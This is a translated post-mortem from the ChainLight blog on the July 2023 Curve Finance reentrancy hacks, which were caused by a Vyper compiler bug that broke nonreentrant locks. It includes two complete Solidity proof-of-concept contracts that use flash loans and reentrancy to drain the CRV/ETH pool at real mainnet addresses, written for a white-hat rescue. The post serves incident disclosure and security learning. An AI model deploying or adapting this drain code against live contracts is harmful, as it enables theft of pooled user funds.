2023年7月30日,Curve Finance的多个流动池遭受重入攻击,揭示了Vyper编译器的严重缺陷,导致Curve池的安全性受到威胁。文章详细分析了攻击的过程和原因,以及对后续智能合约安全性的思考,指出了智能合约审核中未能匹配源代码与字节码的重要性,从而促使开发者关注安全性和审核流程的改进。
在2023年7月30日下午13:10(协调世界时),pETH/ETH Curve 池的黑客攻击是 Curve Finance 合约中一个重大缺陷的首次迹象。在接下来几个小时内,又有两个 Curve 池被攻击:msETH/ETH 和 alETH/ETH。在此期间,来自全球的区块链安全专家们正全力工作,努力识别根本原因,确定哪些 Curve 池和项目受到影响,并决定防止进一步资金损失的正确步骤。
当第一个 Curve 池被黑客攻击时,最初认为是由于 @JPEGd_69 智能合约中的一个漏洞所致。原因很简单:Curve Finance 的智能合约已由一些世界顶尖专家进行过审核,并且 Curve 池中存储的价值超过了 10 亿美元。此外,黑客攻击是由于重入漏洞造成的,而 Curve Finance 智能合约使用锁定机制来防止重入,因此它不可能是 Curve Finance 智能合约中的漏洞。
然而,在另两个 Curve 池被攻击后,大家都清楚地看到,这绝对是 Curve Finance 智能合约的问题。对攻击事件和 Curve Finance 智能合约字节码的仔细分析显示,Vyper 编译器存在一个漏洞,使得重入锁无效。
以太坊中的智能合约通常用 Solidity 编写,但有些智能合约使用不同的编程语言,例如 Vyper。Vyper 的目标是使编写更安全且更易审计的智能合约变得更加简单。它包括安全特性,如:数组边界检查、整数溢出检查和对重入锁的原生支持。通过在语言中包含重入锁,它使开发者更容易防止导致许多智能合约被攻击的重入攻击。
在 Vyper 0.3.1 中,有一个表面上看似无辜的错误修复,从回顾来看,这个错误修复应该引发警报。
借助简单的描述“修复未使用存储槽的分配”,修复了 Vyper 编译器中的一个严重漏洞。直到 2023 年 7 月 30 日,即 Vyper 0.3.1 发布一年半后,这个漏洞的严重性才被意识到。
该漏洞最初是在 Vyper 0.2.15 的提交 a09cdddd 中引入的。
这一提交中添加的代码无意中为每个函数定义分配了不同的重入钥匙存储槽。结果是,重入钥匙 lock
可能在 add_liquidity
中分配存储槽 0x1
,然后在 remove_liquidity
中分配存储槽 0x2
,因为每个函数定义是单独处理的。正确的做法应该为每个重入钥匙只分配一个存储槽,无论有多少个函数定义使用该重入钥匙。
我们可以通过以下简单的测试用例看到这一点。
## @version 0.2.15
@external
@nonreentrant('lock')
def add_liquidity() -> uint256:
return 0
@external
@nonreentrant('lock')
def exchange() -> uint256:
return 0
当用有缺陷的 Vyper 编译器处理这段看似无害的代码时,我们显然看到它生成了错误的 Vyper IR。
$ vyper -f ir StableSwap.vy | grep sstore
# @nonreentrant('lock')
[sstore, 0, 1],
[seq_unchecked, [sstore, 0, 0], [return, 0, 32]],
[sstore, 0, 0],
# @nonreentrant('lock') <- 它应该使用槽 0,但实际上使用了 1
[sstore, 1, 1],
[seq_unchecked, [sstore, 1, 0], [return, 0, 32]],
[sstore, 1, 0],
在 Vyper 0.3.1 中,由提交 eae0eaf8 引入的错误修复通过不为重入钥匙分配新存储槽来实现正确的行为。
if type_.nonreentrant is None:
continue
variable_name = f"nonreentrant.{type_.nonreentrant}"
# 一个非重入钥匙可以在一个模块中出现多次,但它
# 只占用一个槽。第一次看到它后可以忽略。
if variable_name in ret: # <<<<
continue # <<<<
type_.set_reentrancy_key_position(StorageSlot(storage_slot))
# TODO 这可以更好地进行类型标注,但在
# 确定格式之前保持未标注。
ret[variable_name] = {
"type": "nonreentrant lock",
"location": "storage",
"slot": storage_slot,
}
# TODO 每个重入钥匙使用一个字节或位
# 要求额外的 SLOAD 或在进入时缓存位置值。
storage_slot += 1
不幸的是,任何使用最新编译器编译的 Vyper 智能合约,在 2021 年 7 月至 2021 年 10 月之间,都有潜在致命的缺陷。
一旦确定编译器错误是 Curve 智能合约漏洞的原因,下一步就是找到受影响的 Curve 池并可能被攻击者利用。一个易受攻击的 Curve 池需要具备两个重要特性:
例如,第一个被攻击的 Curve 池 pETH/ETH,具备这两个特性:
## @version 0.2.15 # <<<<
"""
@title StableSwap
@author Curve.Fi
@license Copyright (c) Curve.Fi, 2020-2021 - all rights reserved
@notice 2 coin pool implementation with no lending
@dev ERC20 support for return True/revert, return True/False, return None
Uses native Ether as coins[0]
"""
以及
@external
@nonreentrant('lock')
def remove_liquidity(
_burn_amount: uint256,
_min_amounts: uint256[N_COINS],
_receiver: address = msg.sender
) -> uint256[N_COINS]:
...
for i in range(N_COINS):
old_balance: uint256 = self.balances[i]
value: uint256 = old_balance * _burn_amount / total_supply
assert value >= _min_amounts[i], "提取的 coins 数量少于预期"
self.balances[i] = old_balance - value
amounts[i] = value
if i == 0:
raw_call(_receiver, b"", value=value) # <<<<
else:
...
一般来说,支持原生以太币的 Curve 池是重入攻击的潜在候选者。攻击者已经攻击了三个池:pETH/ETH、msETH/ETH 和 alETH/ETH。我们开始确定是否还有其他池也易受攻击。
在大约 30 分钟内查看各种 Curve 池后,ChainLight 的一名研究人员确定了 CRV/ETH 池可能易受攻击。在确认后,ChainLight 团队着手构建可以作为白帽行动的一部分的攻击。
CRV/ETH 池的逻辑与其它已被攻击的池有所不同,主要是因为 CRV/ETH 池在执行 raw_call
之前会销毁供应代币。因此,在这种情况下,利用池的策略并不适用。
为了说明这一点,以下是 pETH/ETH 池的代码。我们可以看到 raw_call
在 total_supply
减少之前进行。
@external
@nonreentrant('lock')
def remove_liquidity(
_burn_amount: uint256,
_min_amounts: uint256[N_COINS],
_receiver: address = msg.sender
) -> uint256[N_COINS]:
total_supply: uint256 = self.totalSupply
amounts: uint256[N_COINS] = empty(uint256[N_COINS])
for i in range(N_COINS):
old_balance: uint256 = self.balances[i]
value: uint256 = old_balance * _burn_amount / total_supply
assert value >= _min_amounts[i], "提取的 coins 数量少于预期"
self.balances[i] = old_balance - value
amounts[i] = value
if i == 0:
raw_call(_receiver, b"", value=value) # <<<<
else:
response: Bytes[32] = raw_call(
self.coins[1],
concat(
method_id("transfer(address,uint256)"),
convert(_receiver, bytes32),
convert(value, bytes32),
),
max_outsize=32,
)
if len(response) > 0:
assert convert(response, bool)
total_supply -= _burn_amount # <<<<
self.balanceOf[msg.sender] -= _burn_amount
self.totalSupply = total_supply
log Transfer(msg.sender, ZERO_ADDRESS, _burn_amount)
log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply)
return amounts
正如所示,重入攻击的调用跟踪在攻击中的可能情况如下:
add_liquidity
(X 代币) → 铸造 Y LP 代币remove_liquidity
(Y LP 代币)a. ( self.balances
被减少)
b. add_liquidity
(X 代币) → 铸造 N * Y 代币
c. ( totalSupply
被减少)
如上所述,重入攻击使得 add_liquidity
可以在 self.balances
减少后但 totalSupply
减少前执行。由于每个 LP 代币的价格由 totalSupply
决定,因此在重入 add_liquidity
调用时,每个 LP 代币的价格将不正确。这使得攻击者可以每个输入代币铸造更多的 LP 代币。
在 CRV/ETH 池中,代码如下,其中 raw_call
在调用 burnFrom
函数后 发生在 总供应量减少之后。
@nonreentrant('lock')
def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS], use_eth: bool = False):
total_supply: uint256 = CurveToken(token).totalSupply()
CurveToken(token).burnFrom(msg.sender, _amount) # <<<<
balances: uint256[N_COINS] = self.balances
amount: uint256 = _amount - 1
for i in range(N_COINS):
d_balance: uint256 = balances[i] * amount / total_supply
self.balances[i] = balances[i] - d_balance # <<<< 使用缓存的 CRV 余额。
if use_eth and i == ETH_INDEX:
raw_call(msg.sender, b"", value=d_balance)
D: uint256 = self.D
self.D = D - D * amount / total_supply
一个可能的攻击场景如下:
add_liquidity
(X 代币) → 铸造 Y LP 代币这将大量代币添加到 CRV/ETH 池中。
remove_liquidity
(1 wei)这用 1 wei 的 ETH 提取流动性并触发重入原语。
a. remove_liquidity_one_coin
(Y — 1, 1, 0, false)
这将我们所有的流动性作为 CRV 代币提取。
b. 由于 remove_liquidity
使用缓存值(余额),池的 D 值将减小而余额保持不变。
exchange()
用更高余额降低 D 总是允许以任何一方进行有利的套利交易。(ETH→CRV / CRV→ETH)
我们将 PoC 攻击代码发给了战情室,但在我们真正发起白帽行动之前,攻击者就已经排空了池子。
PoC 代码
// SPDX-License-Identifier: UNLICENSED
// anvil --fork-url $ETH_RPC_URL --port 1337 --fork-block-number 17807829
// forge test -vvv
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
interface ERC20 {
function balanceOf(address) external returns (uint256);
function transfer(address, uint256) external;
function transferFrom(address, address, uint256) external;
function approve(address, uint256) external;
function totalSupply() external returns(uint256);
}
interface Pool {
function exchange(uint i, uint j, uint dx, uint256, bool) external;
function add_liquidity(uint[2] memory, uint, bool) external;
function remove_liquidity(uint, uint[2] memory, bool) external;
function balances(uint) external returns(uint);
function remove_liquidity_one_coin(uint256, uint256, uint256, bool) external;
}
contract PocTest is Test {
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);
WhiteHatDeploy wd;
function setUp() public
{
}
function testPoC() public
{
wd = new WhiteHatDeploy();
}
}
interface AAVEV2 {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
function borrow(address, uint, uint, uint16, address) external;
function deposit(address, uint, address, uint16) external;
}
interface u2pool {
function swap(
uint, uint, address, bytes calldata
) external;
}
contract WhiteHatDeploy {
constructor() {
Whitehat wh = new Whitehat();
wh.start();
}
}
contract Whitehat {
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);
constructor() {
CRV.approve(address(pool), type(uint256).max);
WETH.approve(address(pool), type(uint256).max);
}
function exploit() internal {
uint[2] memory amounts = [\
uint(10000 ether),\
uint(10000 ether)\
];
pool.add_liquidity(amounts, 0, false);
amounts = [\
uint(0),\
uint(0)\
];
pool.remove_liquidity(1, amounts, true);
pool.exchange(1, 0, CRV.balanceOf(address(this)), 0, false);
}
fallback() payable external {
pool.remove_liquidity_one_coin(poolToken.balanceOf(address(this)), 1, 0, false);
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
exploit();
WETH.transfer(msg.sender, 30 ether);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
u2pool(0x3dA1313aE46132A397D90d95B1424A9A7e3e0fCE).swap(
0,
50000 * 1e18,
address(this),
hex"01"
);
for (uint i = 0; i < assets.length; i++) {
uint amountOwing = amounts[i] + premiums[i];
ERC20(assets[i]).approve(address(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9), amountOwing);
}
return true;
}
function start() payable external {
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 10_000 ether;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
address onBehalfOf = address(this);
bytes memory params = "";
uint16 referralCode = 0;
AAVEV2(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9).flashLoan(
receiverAddress,
assets,
amounts,
modes,
onBehalfOf,
params,
referralCode
);
console.log("利润(ETH):", WETH.balanceOf(address(this)) / 1e18);
}
}
在攻击者部分排空 CRV/ETH 池后,战情室讨论了在另一次攻击前拯救该池剩余资金的策略。挑战在于池子中没有留下任何 CRV,但仍有 3,526 ETH。这使得使用以前的策略来恢复剩余 ETH 不再可能,因为它触发了池子数学函数中的一个断言:
def newton_D(ANN: uint256, gamma: uint256, x_unsorted: uint256[N_COINS]) -> uint256:
...
assert x[0] > 10**9 - 1 and x[0] < 10**15 * 10**18 + 1 # dev: 不安全值 x[0]
assert x[1] * 10**18 / x[0] > 10**14-1 # dev: 不安全值 x[i](输入)
newton_D
中的断言检查 CRV 价格与 ETH 价格比例是否至少为 0.00001。除非我们首先将比例调整至有效范围,否则无法添加流动性或交换代币。
战情室确定的策略是:
claim_admin_fee
a. 认领逻辑将包括新发送的代币在余额中
b. 这将使 CRV/ETH 比例增加到每 ETH 8.5 CRV(而不是之前无效的 0.00000031 CRV 每 ETH)
exchange
将额外的 CRV 代币交换回剩余的 ETHPoC 代码
// SPDX-License-Identifier: UNLICENSED
// anvil --fork-url $ETH_RPC_URL --port 1337 --fork-block-number 17808682
// forge test -vvv
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
interface ERC20 {
function balanceOf(address) external returns (uint256);
function transfer(address, uint256) external;
function transferFrom(address, address, uint256) external;
function approve(address, uint256) external;
function totalSupply() external returns(uint256);
}
interface Pool {
function exchange(uint i, uint j, uint dx, uint256, bool) external;
function add_liquidity(uint[2] memory, uint, bool) external;
function remove_liquidity(uint, uint[2] memory, bool) external;
function balances(uint) external returns(uint);
function remove_liquidity_one_coin(uint256, uint256, uint256, bool) external;
function claim_admin_fees() external;
function D() external view returns (uint256);
function future_A_gamma() external view returns(uint256);
function xpp() external view returns (uint256[2] memory);
function balances() external view returns (uint256[2] memory);
function price_scale() external view returns (uint256);
}
contract PocTest is Test {
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);
WhiteHatDeploy wd;
function setUp() public
{
vm.label(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, "WETH");
vm.label(0xD533a949740bb3306d119CC777fa900bA034cd52, "CRV");
}
function testPoC() public
{
console.log(WETH.balanceOf(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149) / 1e18);
wd = new WhiteHatDeploy();
console.log(WETH.balanceOf(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149) / 1e18);
}
}
interface AAVEV2 {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
function borrow(address, uint, uint, uint16, address) external;
function deposit(address, uint, address, uint16) external;
}
interface v3pool {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external;
}
contract WhiteHatDeploy {
constructor() {
Whitehat wh = new Whitehat();
wh.go(2800);
}
}
contract Whitehat {
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);
function uniswapV3SwapCallback(int amount0, int amount1, bytes calldata data) external {
WETH.transfer(msg.sender, uint(amount0));
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
v3pool(0x919Fa96e88d67499339577Fa202345436bcDaf79).swap(
address(this),
true,
70 ether,
4295128739 + 1,
hex"00"
);
CRV.transfer(address(pool), 30_000 * 1e18);
pool.claim_admin_fees();
pool.exchange(1, 0, CRV.balanceOf(address(this)), 0, false);
for (uint i = 0; i < assets.length; i++) {
uint amountOwing = amounts[i] + premiums[i];
ERC20(assets[i]).approve(address(msg.sender), amountOwing);
}
return true;
}
address owner;
constructor() {
owner = msg.sender;
CRV.approve(address(pool), type(uint256).max);
WETH.approve(address(pool), type(uint256).max);
}
bool k;
function go(uint minReturn) payable external {
require(msg.sender == owner, "X01");
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 70 ether;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
address onBehalfOf = address(this);
bytes memory params = "";
uint16 referralCode = 0;
AAVEV2(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9).flashLoan(
receiverAddress,
assets,
amounts,
modes,
onBehalfOf,
params,
referralCode
);
require(WETH.balanceOf(address(this)) / 1e18 > minReturn, "X02");
WETH.transfer(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149, WETH.balanceOf(address(this)));
}
}
在本地测试时,我们确认我们的攻击成功从池中获得了大约 2,880 ETH。由于我们显然不希望攻击者或 MEV 滥用这个攻击,因此我们决定使用 Flashbots 将交易打包。然而,执行并没有按计划进行。
回顾过去,我们可以看到 原始交易 被 c0ffeebabe.eth 在 MEV 交易 中抢先交易。当我们的研究人员认为他们正在使用 Flashbots RPC 节点时,他们很困惑这是如何发生的。幸运的是,c0ffeebabe.eth 将资金返回给了 Curve Finance,因此最后资金得以安全。但是,问题仍然是,这究竟是怎么发生的?
经过深入调查,团队发现了根本原因。我们使用 Foundry 进行测试和部署,以下是发生在白帽黑客尝试过程中的事件顺序:
我们最初通过默认为创建的 ETH_RPC_URL
环境变量设置为我们的 QuickNode 端点以进行分叉和测试。
一旦完成 forge init
,还可以在 foundry.toml
文件中指定所需的 RPC 端点。
当运行 forge test
命令时,将使用 foundry.toml
中的 ETH_RPC_URL
。
因为我们使用 anvil
进行分叉,所以我们将 ETH_RPC_URL
相应地设置为 http://localhost:1337
。
anvil --fork-url https://[REDACTED].quiknode.pro/[REDACTED]/ --port 1337
在测试白帽攻击后,为了使用 Flashbots 进行部署,我们在 foundry.toml
中更新了 ETH_RPC_URL
为 https://rpc.flashbots.net。
然而,我们未能意识到 forge create
命令优先考虑环境变量,而不是 foundry.toml
中的设置。
因此,合约创建事务最终通过公共的 QuickNode RPC,而非预期中的 Flashbots 进行。
尽管这只是一个小错误,但可能会导致大量资产的损失。此时,该研究人员已经在与攻击者的第一次竞赛中失利,感到时间非常紧迫。在时间紧迫和高额风险的情况下,导致了一个可以避免的简单错误。
为了减少今后此类错误的发生,@emilianobonassi 创建了一个名为 Whitehacks Kit 的简单模板,以更安全地执行白帽攻击。
主要的收获是区块链安全是复杂的。虽然大多数智能合约审核会审查源代码,但很少会确保编译后的字节码与源代码的意图相符。此外,在一个主要的 DeFi 项目中,重要漏洞持续存在而没有引起任何人注意也是一个区块链安全公司需要努力解决的问题。
对于 ChainLight,我们看到一名研究人员的简单错误将数千个以太放在了风险之中。我们还看到在这些操作中时间是一个稀缺的资源。我们决心从中吸取教训,并建立程序以进行白帽行动。通过在需要发生之前测试这些程序,我们将能够更快、更专业地做出响应。每当合同无法暂停和升级时,白帽操作将继续需要。
这是 ChainLight 团队根据我们的内部讨论和记录编制的时间线。
2023/07/30 13:10 UTC
2023/07/30 14:16 UTC
2023/07/30 14:50 UTC
2023/07/30 15:18 UTC
2023/07/30 15:34 UTC
2023/07/30 15:41 UTC
nonreentrant
钥匙使用了不同的存储槽。2023/07/30 15:57 UTC
2023/07/30 16:23 UTC
2023/07/30 16:47 UTC
2023/07/30 17:10 UTC
2023/07/30 17:53 UTC
2023/07/30 18:44 UTC
2023/07/30 19:06 UTC
2023/07/30 19:08 UTC
2023/07/30 21:26 UTC
2023/07/30 21:58 UTC
2023/07/30 22:00 UTC
2023/07/30 23:50 UTC
2023/08/01
2023/08/02 02:13 UTC- 我们意识到实际上是我们的白帽尝试被抢先了(见 CRV/ETH 池,再次 部分)。
2023/08/08 04:00 UTC
- 原文链接: blog.chainlight.io/curve...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!